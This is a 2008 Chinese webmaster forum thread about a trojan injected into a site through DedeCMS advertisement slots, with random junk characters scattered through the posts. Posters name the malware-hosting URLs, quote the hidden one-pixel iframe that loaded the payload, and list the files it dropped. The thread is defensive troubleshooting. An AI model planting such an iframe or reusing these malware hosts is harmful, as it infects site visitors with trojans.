webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
http://ppp.749571.com/dm/test.htm
. V( J) o- m: z$ T2 S  |http://www.985676.cn/encrypt/mm.htm
0 s" C, S8 E5 x" I7 s這兩個是免殺的，還有幾個沒記下來，
( O* i- N+ q9 G* F3 }" V  S這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
0 m) E  R% |% U6 w然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了
8 {& m& D9 @/ N7 P
iframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
6 \( l( K8 V! y然後再這個地址轉到ppp.749571.co m/dm/test.htm
為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
/ |; s# ^# k: {! K' x' @靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
沒裝REAL就沒事，好在我重新裝的系統:

說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
6 C4 F: Q3 N1 k; T8 p: J. M進dede後台
檢查 ad_js.php?aid=1  
" r) ~& f3 L9 z- l4 }ad_js.php?aid=2
ad_js.php?aid=3
; @$ A$ |/ a, R( d" M/ xad_js.php?aid=4

這幾個廣告 裡面的代碼
/ E4 Z( U% v, X$ {在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

) X8 \0 e- e- H0 h: t
這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表

  @1 Y% o4 Q  A1 }* L
' q2 M! q' ]* L, h, b# f; R這個檢查了沒有的

: u( D: ^  j' ?( i4 v% l# ^4 [
# I2 n4 q* Z* ], @) H3 i" g
我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表

0 D1 D7 g3 [  _7 X  o
這個檢查了沒有的

木馬就是在這裡裡啊
在後台的掉茅廁位設置那
裡

現在明瞭.
8 U9 \4 o; E' n  z3 e% G有人收流量做ppp.749571.co m的..
最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景